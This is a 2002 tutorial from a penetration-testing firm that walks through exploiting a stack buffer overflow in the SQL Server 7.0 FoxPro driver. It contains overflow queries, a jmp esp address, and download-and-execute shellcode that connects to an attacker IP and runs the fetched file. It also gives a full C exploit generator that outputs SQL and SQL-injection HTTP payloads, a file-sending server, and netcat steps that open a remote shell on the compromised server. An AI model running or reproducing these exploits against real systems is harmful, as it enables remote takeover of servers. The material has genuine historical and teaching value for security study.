Win32 Stack Based Buffer Overflow Walkthrough sk@scan-associates.net 23rd July 2002 1.0 Introduction 2.0 What is buffer overflow? 2.1 Stack overflow 3.0 What do you need? 4.0 Exploiting stack based buffer overflow 4.1 But where can we jump to? 4.2 Finding jmp esp 5.0 The payload 5.1 Getting Windows API/function absolute address 6.0 Ownership 7.0 Greets and thanks 8.0 The code 9.0 Where to get more info 10.0 Patch 1.0 Introduction There are already many good articles published about buffer overflow. However we think there is still room for Windows based buffer overflow article. We wrote this article because we would like to document the whole process from discovering a bug till successful penetration of a server in one of our recent penetration testing. You will see many practical examples and useful code that may help you to discover and exploit other buffer overflow. We hope that it will be useful but please check out the last part "9.0 Where can I get more info?" for links to papers that we learnt much from. 2.0 What is buffer overflow? Computer programs usually allocate certain amount of space to store data during execution. This space is known as buffer. A buffer overflow occurs when the amount of data is larger than the allocated buffer. When that happened, the data will overwrite memory area that followed the buffer. There is no telling what is after the buffer; however what we hope to overwrite is memory area which will alter the execution flow of the program. The goal is to direct the execution flow to our code, thus allow us to execute anything in the victim PC. 2.1 Stack overflow Function calls in C program usually pass parameter via stack. A caller program will store parameters into stack before calling a function. The function will then locate the parameters from the stack. Stack also will contain return address so that the function can jump back to the caller program. If we can submit data more than previously allocated space, we can overflow the dedicated space and if we can overwrite the stack, we call this Stack Based Overflow. Overflow the stack is especially fun because stack usually contain return address. For more information about it, you may want to look at a classic article from Aleph One (http://www.phrack.org/show.php?p=49&a=14). 3.0 What do you need? Windbg.exe (http://www.microsoft.com/ddk/debugging/default.asp) TASM (http://community.borland.com/museum) Hex Editor (I prefer xvi32 http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm) Visual Studio or any decent C compiler Microsoft SQL Server 7.0 or SQL Server 2000 Windows 2000 Server SP2. 4.0 Exploiting stack based buffer overflow We are going to go through the process of exploiting the latest version (as the time we are writing this) of Microsoft SQL Server 7.0 Service Pack 4 with default installation. Soon after Mark Litchfield published a buffer overflow in OpenDataSource() with Jet database engine in SQL Server 2000 (http://www.nextgenss.com/advisories/mssql-ods.txt), we browse through the list of default install ODBC driver. We found the FoxPro driver install by default, and decided to try our luck with OpenDataSource(). We fire up WinDbg.exe. Click File, and then Attach to Process. You need to debug SQL Server. Select “sqlservr.exe” And run (F5) process. Now, whenever there is Exception, User break, etc, the debugger will suspend the process. We need to do this because we want to see what we can overwrite and use. Now, open up your Query Analyzer. Try executing this query (yeah, type about 300 A’s). SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro Driver;SourceDB=e:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA;SourceType=DBC')...xactions; Here, we have prepared it for you. You may just cut and parse it to your Query Analyzer. Run the query. The query should overflow the SourceDB parameter, and it will overwrite several CPU registers as well as the ever important EIP. Before Query Analyzer can return any result, your WinDbg already kick in. If you check your WinDbg now, you should see that the instruction is pointing at 0x41414141, which is an invalid address. Take a look at register EIP, it is 0x41414141. We have overwritten EIP with the ASCII code of ‘A’ (0x41). The process flow to 0x41414141 because we have overwritten the EIP register. This register determines the next instruction that the CPU will execute. Being able to write to EIP means we can control the execution flow. That mean somewhere in the 300 A’s will overwrite the EIP register. We need to find the exact location so that we can inject useful address to EIP. To get the exact location of the EIP, we can construct a query like the following: SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro Driver;SourceDB=e:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAZZZZYYYYXXXXWWWWVVVVUUUUTTTTSSSSRRRRQQQ QPPPPOOOONNNNMMMMLLLLKKKKJJJJIIIIHHHHGGGGFFFFEEEEDDDDCCC CBBBBAAAA;SourceType=DBC')...xactions; You may need to terminate your SQL server, attach to process again using WinDbg. Run Query Analyzer and connect to your SQL server again. This time, your EIP will be 0x47484848. This is equivalent to GHHH. We need to replace GHHH with a useful memory address, may be memory address that point to our payload. The payload will execute anything we want. It also tells us that we need to put our memory address in reverse byte sequence. Let’s construct a query that just enough for us to overwrite EIP. It will take 269 A’s for padding and 4 more bytes that will overwrite the EIP. SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro Driver;SourceDB=e:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB;SourceType=DB C')...xactions; Now, take a look at WinDbg. Access Violation is trying to execute code from 0x42424242. ASCII code of B is equivalent to 0x42, which is the last part of the SourceDB string. The process flow to 0x42424242 because ‘BBBB’ have overwritten the EIP register. By replacing BBBB with a memory address, the process will flow into that memory address. In other word, we can jump to anywhere we want. 4.1 But where can we jump to? Of cause, we are going to jump to our payload. Our payload will execute something useful like spawning a shell for us, creating a file and so on. It is possible to jump directly to our payload if we know the address of our payload. To do that, we just need to replace BBBB with our address. But usually, the address of our payload may not be in a fix location/address all the time. It is best if we can find a register that point to our buffer or query in this case. We can then jump to the address store in the register to get to our buffer. This method is preferred because we can jump to our code/buffer no matter where it is. Let’s find the register. Take a look at what each register hold during the crash: EDI=0 ESI=EB2288 EBX=FFFFFFFF EDX=301FCB10 ECX=301FCAC0 EAX=AB EBP=41414141 EIP=42424242 ESP=301FCC50 We need to find a register that is related to our buffer. If you type the value of EDX to the Memory window inside WinDbg, you will see that it points to a location above the long e:\AAAA…AAAA buffer. If we want to jump to EDX, we must be able to put our payload before the e:\AAAA buffer, which is not possible. Let’s take a look at ESP. It points to memory location just after the BBBB. This is perfect. If we jump to the value hold by ESP, we will jump back to our buffer. We will land on the byte immediately after the value we overwrite EIP. So the structure of our query should look like this: SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro Driver;SourceDB=e:\A…A;SourceType=DBC')...xactions; Now that we have found a perfect location for our payload, all we need to do is to jump to that location. In order to do that, we need to execute something like “jmp esp”. We can overwrite the EIP to point to somewhere in the memory that contain instruction “jmp esp”. When the CPU reaches memory address that contains the instruction, it will jump back to our payload because ESP point to our payload. We are free to do whatever evil thing we want. 4.2 Finding jmp esp As mentioned, we need to overwrite EIP with an address that contain instruction “jmp esp”. First, let’s find out what this instruction is, in machine code or opcode. You may use the handy debug.exe that comes with every single version of Windows. Run debug.exe, you will see a dash (-) indicating debug is now expecting your command. You can type question mark (?) for help to list of available command. We can use debug to type assembly code “jmp esp” and dump the memory to see the actual machine code of the instructions. To get the instruction code for “jmp esp” follow these instructions: -a 137A:0100 jmp sp 137A:0102 -d 100 137A:0100 FF E4 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 137A:0110 00 00 00 00 00 00 00 00-00 00 00 00 34 00 69 13 ............4.i. 137A:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 137A:0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 137A:0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 137A:0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 137A:0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 137A:0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ -q In the code above, we wrote “jmp sp” because debug.exe is still just an 8086 debugger and thus will not be able to use any extended register like ESP. However these codes are still valid and the machine code for “jmp esp” in i386 is “FF E4”. We can browse through the memory to look for these hex values. In order to do that, we can use this program which we modify from an excellent article about Windows Buffer Overflow (http://www.dtmf.com.ar/texts/nt-bofstf.txt) by jason_jordan@omron.com. We probably can find these instructions within a program or DLL which already loaded into the memory. The program findhexe.exe allows us to browse through any DLL to look for the hex code we need. Refer to “8.0 The code” for code to compile findhex.exe. We also need to use listdlls.exe from SysInternals (http://www.sysinternals.com/ntw2k/utilities.shtml) to list all the DLLs that are currently loaded, including where they are loaded and their version numbers. Output from listdlls.exe will show many loaded DLLs and their base memory. We can use any one of it. Take note that base memory of system DLL may be different in different OS and Service Pack. Thus, if we are using offset from DLL, our exploit code will bind to specific OS and service pack. It may not work with different service pack. Thus, some exploits prefer to use offset found within the host program (program that cause the overflow bug, in this case, the SQL Server itself.) In this case, we will browse through msvcrt.dll to look for FF E4. C:\>findhex msvcrt.dll FF E4 Opcode found at 0x78024e02 End of msvcrt.dll Memory Reached. We have one location. This is good enough. We will overwrite EIP with this address, and “jmp esp” will execute. It will jump back to our buffer after EIP. The very first instruction that we will put into our payload is the “INT 3”. INT 3 (breakpoint) is a special instruction that will course a debugger to suspend your program for debugging. The hex code for this instruction is 0xCC. It is time for us to write our exploit program that will create the query we want. #include #include int main(int argc, char* argv[]) { int eip; FILE *f; f= fopen("out.sql" , "wb"); eip = 0x78024e02; fprintf(f,"%s", "SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro Driver;SourceDB=e:\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); /* our address to jump to in little endian format */ fprintf(f,"%c%c%c%c", eip&0xff, eip>>8&0xff, eip>>16&0xff, eip>>24&0xff); fprintf(f, "%s", "\xcc"); /* our breakpoint */ fprintf(f, "%s", ";SourceType=DBC'\)...xactions"); fclose(f); return 0; } Compile the program and run it to generate out.sql. This is the file we will open in Query Analyzer. To test this, you must start WinDbg.exe and attach SQL Server process as we did earlier. When you run out.sql in Query Analyzer, the WinDbg will break but this time, instead of instruction pointing to invalid address, you should see our instruction INT 3 (0xCC). It is our breakpoint that suspends the SQL Server. We have the ability to execute any code now. It is time for the sweet part; we will construct our payload and append it to the query. 5.0 The payload Usually there is a limit in length in our payload before we break everything and crash the server beyond recovery. In this case, we will append a few instructions after the to jump back to the beginning of our buffer and do everything important there. We will replace those A’s with real executable payload. First, we need to construct a few instruction to do the jump. Open up debug.exe again. Let’s type these instructions and get the opcode. C:\>debug -a 137C:0100 mov bx, sp 137C:0102 sub bx, 111 137C:0106 jmp bx 137C:0108 -d 100 137C:0100 89 E3 81 EB 11 01 FF E3-00 00 00 00 00 00 00 00 ................ 137C:0110 00 00 00 00 00 00 00 00-00 00 00 00 34 00 6B 13 ............4.k. 137C:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 137C:0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 137C:0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 137C:0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 137C:0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 137C:0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ - There you have it, the op code is 0x89 0xE3 0x81 0xEB 0x11 0x01 0xFF 0xE3. These instructions will execute in i386 as: mov ebx, esp sub ebx, 111h jmp ebx If you recall, the ESP still contain the memory address after we overwrite the EIP. We copy the content of ESP into EBX, subtract 0x111 from it. The EBX will now point to the beginning of our buffer, the beginning of A. We will replace all those A’s with useful executable code. We have about 269 bytes to work with. That is not much. So, we want to create a small payload that will connect to an IP, retrieve a file and execute it on the server. Our little program need to call several Windows APIs to make connection, to write to file, to execute program and so forth. The usual way of doing this is to call the Windows API by their name, i.e: CreateProcess(). We can use trick like Jump Table (Dildog http://www.cultdeadcow.com/cDc_files/cDc-351/) to load all Windows API when our program starts. But due to limited space to work with, we cannot use these fancy tricks. We will call Windows API directly by their address in the memory. There is limitation in this method, because these addresses will change between OS or service pack. You should get the same offset if you are trying this on a Windows 2000 Server SP2. 5.1 Getting Windows API/function absolute address Our little payload is going to use several functions like socket(), connect(), etc. We will go through the process to get socket()’s absolute address. A quick check indicate that socket() function exported from ws2_32.dll. We will use dumpbin.exe found in Visual Studio to get show list of exported function from this DLL. C:\>dumpbin c:\winnt\system32\ws2_32.dll /exports Take note of the last line of the output, the export address of the socket function: … 23 6C 00001EF4 socket … If you use listdlls.exe, you will see that the DLL is loaded in the base memory of 0x75030000. C:\>listdlls –d ws2_32.dll … Base Size Version Path 0x75030000 0x13000 5.00.2195.2780 C:\WINNT\System32\WS2_32.dll … Total up these two values (0x75030000 + 00001EF4), you will get the address to the socket() function, which is 0x75031EF4 for Windows 2000 Server SP2. You may need to do the same for all these functions: socket EQU 75031EF4h connect EQU 7503C453h recv EQU 7503A1AEh closesocket EQU 750313B6h You can find these functions from msvcrt.dll: _open EQU 7801C26Ch _write EQU 78003670h _close EQU 78013EC7h _execl EQU 78018BDFh Using this address we will now build a tiny program to connect to an IP, receive data, save it to a file and finally execute it. The code was modified from High Speed Junky in his brilliant code to exploit IIS5.0 IDQ (http://hsj.shadowpenguin.org/misc/iis5idq_exp.txt). ;tiny shellcode to download n exec code for win2k sp2 .386p locals .model flat, stdcall socketf EQU 75031EF4h connectf EQU 7503C453h recvf EQU 7503A1AEh closesocketf EQU 750313B6h _openf EQU 7801C26Ch _writef EQU 80036707h ;78003670h, will ror 4 to avoid NULL _closef EQU 78013EC7h _execlf EQU 78018BDFh .code start: pop ebx ; esp contain current address xor eax,eax inc eax inc eax shl eax,9 sub esp,eax ;get more stack lea esi,[esp+20h] xor eax,eax push eax inc eax push eax inc eax push eax mov eax, socketf call eax ; call socket() mov edi,eax xor eax,eax inc eax inc eax mov word ptr [esi],ax shl eax,3 push eax push esi push edi ;port and address can be changed in exploit program mov word ptr [esi+2], 1141h ;port = 80 xor 0x41 mov dword ptr [esi+4],6840E981h ; IP = 192.168.1.41 xor 0x41 xor word ptr [esi+2], 4141h xor dword ptr [esi+4],41414141h mov eax, connectf call eax ;call connect() xor eax,eax mov dword ptr [esi],2E61615Ch ; file = '\aa.exe' mov dword ptr [esi+4],41657865h mov byte ptr [esi+7],al mov ax,0180h push eax mov ax,8101h push eax push esi mov eax, _openf call eax ; call open() mov ebx,eax read: xor eax,eax push eax inc eax shl eax,9 push eax lea ecx,[esi+8] push ecx push edi mov eax, recvf call eax ; receive data test eax,eax jle doneread push eax lea ecx,[esi+8] push ecx push ebx mov eax, _writef ror eax, 4 call eax ; write to file jmp read doneread: push ebx mov eax, _closef call eax ;close() push edi mov eax, closesocketf call eax ;closesocket() xor eax,eax push eax push esi push esi mov eax, _execlf call eax ; exec the program xor eax,eax ;unreachable call eax ;cause an exception end start .data You can compile the program with TASM. C:\>tasm –l down.asm Argument -l will generate listing of the code. If you check the content of down.lst you should see: … 17 00000000 start: 18 00000000 5B pop ebx ; esp contain current address 19 00000001 33 C0 xor eax,eax … 102 000000BA 33 C0 xor eax,eax 103 000000BC FF D0 call eax ;cause an exception 104 105 end start Remember the opcode where the program starts and where it ends. Then you need to use a hex editor to open the object file down.obj, delete everything that is not part of your code. So, what is left is only your payload code which is about 190 bytes. You should replace this into the query. Now, your final query should look like this: SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro Driver;SourceDB=e:\A…A;SourceType=DBC')...xactions; We attach the final exploit program which can generate exploit query for both Windows 2000 SP2 and Windows NT SP6a. It also will generate query to be used in SQL injection. Using SQL injection, you can penetrate into SQL Server remotely without using Query Analyzer. For more information about SQL injection, you may want to read another article by me in (http://packetstorm.decepticons.org/papers/web/sql_injection_walkthrough.txt). 6.0 Ownership 1. Setup sendfile.exe ready to upload file nc9999.exe which is a modified version of netcat that will create a shell in port 9999. sendfile 80 nc9999.exe 2. Run oversql.exe to generate out.sql and out.http for your IP oversql 192.168.1.41 80 3. To attack via Query Manager, open out.sql n run it 3. To attack via SQL Injection, edit out.http if neccessary, then type out.http | nc -vv sqlserver 80 4. Verified sendfile.exe completed and netcat to sqlserver at 9999 nc -vv sqlserver 9999 5. Once connected, restart sqlserver net start sqlserveragent 6. To disconnect and close port 9999 exit 7.0 Greets and thanks The SCAN Clan, especially to pokley, tynon, wyse and spoonfork. Alphaque and L33tdawg, thanks for the beer. Mnemonix and Mark Litchfield for lots of SQL BO examples. Eeye, I think, whenever you disclosed vulnerability, it’s a good thing. High Speed Junky, you don’t know, your code is like bible to me. 8.0 The code // findhex.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "findhex.h" #ifdef _DEBUG #define new DEBUG_NEW #endif // The one and only application object CWinApp theApp; using namespace std; int axtoi(char *hexStg) { int n = 0; // position in string int m = 0; // position in digit[] to shift int count; // loop index int intValue = 0; // integer value of hex string int digit[5]; // hold values to convert while (n < 4) { if (hexStg[n]=='\0') break; if (hexStg[n] > 0x29 && hexStg[n] < 0x40 ) //if 0 to 9 digit[n] = hexStg[n] & 0x0f; //convert to int else if (hexStg[n] >='a' && hexStg[n] <= 'f') //if a to f digit[n] = (hexStg[n] & 0x0f) + 9; //convert to int else if (hexStg[n] >='A' && hexStg[n] <= 'F') //if A to F digit[n] = (hexStg[n] & 0x0f) + 9; //convert to int else break; n++; } count = n; m = n - 1; n = 0; while(n < count) { // digit[n] is value of hex digit at position n // (m << 2) is the number of positions to shift // OR the bits into return value intValue = intValue | (digit[n] << (m << 2)); m--; // adjust the position to set n++; // next digit to process } return (intValue); } int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0; // initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs _tprintf(_T("Fatal Error: MFC initialization failed\n")); nRetCode = 1; } else { bool we_loaded_it = false; HINSTANCE h = NULL; h = GetModuleHandle(argv[1]); if(h==NULL) { h = LoadLibrary(argv[1]); if(h==NULL) { cout<<"Error Loading DLL: "< ", argv[0]); exit(1); } for (ar=0; ar #include #pragma comment (lib,"Ws2_32") unsigned int resolve(char *name) { struct hostent *he; unsigned int ip; if((ip=inet_addr(name))==(-1)) { if((he=gethostbyname(name))==0) return 0; memcpy(&ip,he->h_addr,4); } return ip; } int _tmain(int argc, _TCHAR* argv[]) { printf("SQL Server 7.0 FoxPro Driver BO Exploit\n"); printf("Bug discovered by pokley (pokleyzz@scan-associates.net)\n"); printf("Exploit code by sk@scan-associates.net\n3rd July 2002\n\n"); printf("1. setup sendfile.exe ready to upload file\n\tsendfile 80 nc1123.exe\n"); printf("2. run oversql.exe to generate out.sql n out.http for ur IP\n\toversql 192.168.1.41 80\n"); printf("3. to attack via Query Manager, open out.sql n run it\n"); printf("3. to attack via sql injection\n\ttype out.http | nc -vv sqlserver 80\n"); printf("4. verified sendfile.exe completed n nc to sqlserver at 1123\n\tnc -vv sqlserver 1123\n"); printf("5. once connected, restart sqlserver\n\tnet start sqlserveragent\n"); if(argc<4){ printf("Usage: %s type IP PORT\n",argv[0]); printf("Type 0 - Win2k SP2\nType 1 - Win NT6a\n"); return 1; } WSADATA WSAData; if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) { printf("WSAStartup failed.\n"); WSACleanup(); return -1; } unsigned int cb; unsigned short port; if(!(cb=resolve(argv[2]))){ printf("resolve error.\n"); return -2; } port = htons(atoi(argv[3])); port ^= 0x4141; cb ^= 0x41414141; int type = atoi(argv[1]); int eip[] = {0x78024e02, 0x77f32836}; //@mscvrt jmp esp //shellcode less than 200 bytes! //can b optimize further but it get da job done //for win2ksp2 onli //connect to ip, get file, save, exec //win2ksp2 char code[] = "\x8B\xDC\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x8D\x74\x24\x20\x33" "\xC0\x50\x40\x50\x40\x50\xB8\xF4\x1E\x03\x75\xFF\xD0\x8B\xF8\x33" "\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66\xC7\x46\x02" "\x41\x11\xC7\x46\x04\x81\xE9\x40\x68\x66\x81\x76\x02\x41\x41\x81" "\x76\x04\x41\x41\x41\x41\xB8\x53\xC4\x03\x75\xFF\xD0\x33\xC0\xC7" "\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07\x66" "\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\xB8\x6C\xC2\x01\x78\xFF" "\xD0\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57" "\xB8\xAE\xA1\x03\x75\xFF\xD0\x85\xC0\x7E\x17\x90\x90\x90\x90\x50" "\x8D\x4E\x08\x51\x53\xB8\x07\x67\x03\x80\xC1\xC8\x04\xFF\xD0\x90" "\xEB\xD1\x53\xB8\xC7\x3E\x01\x78\xFF\xD0\x57\xB8\xB6\x13\x03\x75" "\xFF\xD0\x33\xC0\x50\x56\x56\xB8\xDF\x8B\x01\x78\xFF\xD0\x33\xC0" "\xFF\xD0"; //nt6a char codent[] = "\x8B\xDC\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x8D\x74\x24\x20\x33" "\xC0\x50\x40\x50\x40\x50\xB8\x02\xAE\x6B\x77\xFF\xD0\x8B\xF8\x33" "\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66\xC7\x46\x02" "\x41\x11\xC7\x46\x04\x81\xE9\x40\x68\x66\x81\x76\x02\x41\x41\x81" "\x76\x04\x41\x41\x41\x41\xB8\xA3\xA5\x6B\x77\xFF\xD0\x33\xC0\xC7" "\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07\x66" "\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\xB8\xA0\xE8\x01\x78\xFF" "\xD0\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57" "\xB8\x67\x82\x6B\x77\xFF\xD0\x85\xC0\x7E\x14\x90\x90\x90\x90\x50" "\x8D\x4E\x08\x51\x53\xB8\x60\x11\x01\x78\xFF\xD0\x90\xEB\xD4\x53" "\xB8\x20\x14\x01\x78\xFF\xD0\x57\xB8\x40\xB5\x6B\x77\xFF\xD0\x33" "\xC0\x50\x56\x56\xB8\x80\xAD\x01\x78\xFF\xD0\x33\xC0\xFF\xD0"; *(unsigned short *)&code[48]= port; *(unsigned int *)&code[53]= cb; *(unsigned short *)&codent[48]= port; *(unsigned int *)&codent[53]= cb; FILE *f, *f2; f= fopen("out.sql" , "wb"); f2= fopen("out.http", "w"); fprintf(f2, "%s", "GET /id.asp?id='a';"); fprintf(f,"%s", "SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro Driver;SourceDB=e:\\"); fprintf(f2,"%s", "SELECT%20*%20FROM%20OpenDataSource(%20'MSDASQL','Driver%3dMicrosoft %20Visual%20FoxPro%20Driver;SourceDB%3de:\\"); int lc; if (type) lc = sizeof(codent)-1; else lc = sizeof(code)-1; for (int j = 0; j < lc ; j++){ if(!type){ putc(code[j], f); fprintf(f2, "%%%2.2x", code[j]&0xff); }else { putc(codent[j], f); fprintf(f2, "%%%2.2x", codent[j]&0xff); } } for (int i=0;i<269-j;i++){ fprintf(f, "A"); fprintf(f2, "A"); } fprintf(f,"%c%c%c%c", eip[type]&0xff, eip[type]>>8&0xff, eip[type]>>16&0xff, eip[type]>>24&0xff); fprintf(f2,"%%%2.2x%%%2.2x%%%2.2x%%%2.2x", eip[type]&0xff, eip[type]>>8&0xff, eip[type]>>16&0xff, eip[type]>>24&0xff); // jump back to string to exec shellcode //"8BDC" mov ebx, esp or 89 e3 //"81eb1101" sub ebx, 111 //"ffe3" jmp ebx fprintf(f, "%s", "\x89\xe3\x66\x81\xeb\x11\x01\xff\xe3"); fprintf(f2, "%s", "%89%e3%66%81%eb%11%01%ff%e3"); fprintf(f, "%s", ";SourceType=DBC'\)...xactions"); fprintf(f2, "%s", ";SourceType%3dDBC'\)...xactions"); fprintf(f2, "%s\n\n", " HTTP/1.0"); fclose(f2); fclose(f); return 0; } // sendfile.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include #include #include #pragma comment (lib,"Ws2_32") unsigned int resolve(char *name) { struct hostent *he; unsigned int ip; if((ip=inet_addr(name))==(-1)) { if((he=gethostbyname(name))==0) return 0; memcpy(&ip,he->h_addr,4); } return ip; } int get_connection(int port) { struct sockaddr_in local,remote; int lsock,csock,len,reuse_addr; lsock = socket(AF_INET,SOCK_STREAM,0); if(lsock<0) { perror("socket"); exit(1); } reuse_addr = 1; if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0) { perror("setsockopt"); closesocket(lsock); exit(1); } memset((char *)&local,0,sizeof(local)); local.sin_family = AF_INET; local.sin_port = htons(port); local.sin_addr.s_addr = htonl(INADDR_ANY); if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0) { perror("bind"); closesocket(lsock); exit(1); } if(listen(lsock,1)<0) { perror("listen"); closesocket(lsock); exit(1); } retry: len = sizeof(remote); csock = accept(lsock,(struct sockaddr *)&remote,&len); if(csock<0) { if(errno!=4) { perror("accept"); closesocket(lsock); exit(1); } else goto retry; } closesocket(lsock); return csock; } int _tmain(int argc, _TCHAR* argv[]) { int i, j, s; char buf[512]; FILE *fp; if(argc!=3) { printf("usage: %s port file\n",argv[0]); return -1; } if((fp=fopen(argv[2],"rb"))==0) return -2; WSADATA WSAData; if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) { printf("WSAStartup failed.\n"); WSACleanup(); exit(1); } s = get_connection(atoi(argv[1])); j = 0; while((i=fread(buf,1,sizeof(buf),fp))) { send(s,buf,i,0); j += i; printf("."); fflush(stdout); } fclose(fp); printf("\n%d bytes send...\n",j); shutdown(s,2); closesocket(s); return 0; } 9.0 Where to get more info 1. Win32 Buffer Overflows (Location, Exploitation and Prevention) by dark spyrit (http://www.phrack.org/show.php?p=55&a=15). This is the best ever, best ever article about Win32 Buffer Overflow! 2. The Tao of Windows Buffer Overflow by DilDog (http://www.cultdeadcow.com/cDc_files/cDc-351/) Thank you sensei! 3. WindowsNT Buffer Overflow's From Start to Finish by Jason Jordan (http://www.dtmf.com.ar/texts/nt-bofstf.txt) A must read! 4. SQL Injection Walkthrough (http://www.scan- associates.net/papers/sql_injection_Walkthrough.txt) Another article by me. 10.0 Patch Patch available at http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS02-056.asp However this patch does not solve the buffer overflow in FoxPro driver. It will only limit the access of the driver for SA alone. © Feel free to use/distribute at your own risk as long as proper credits are included.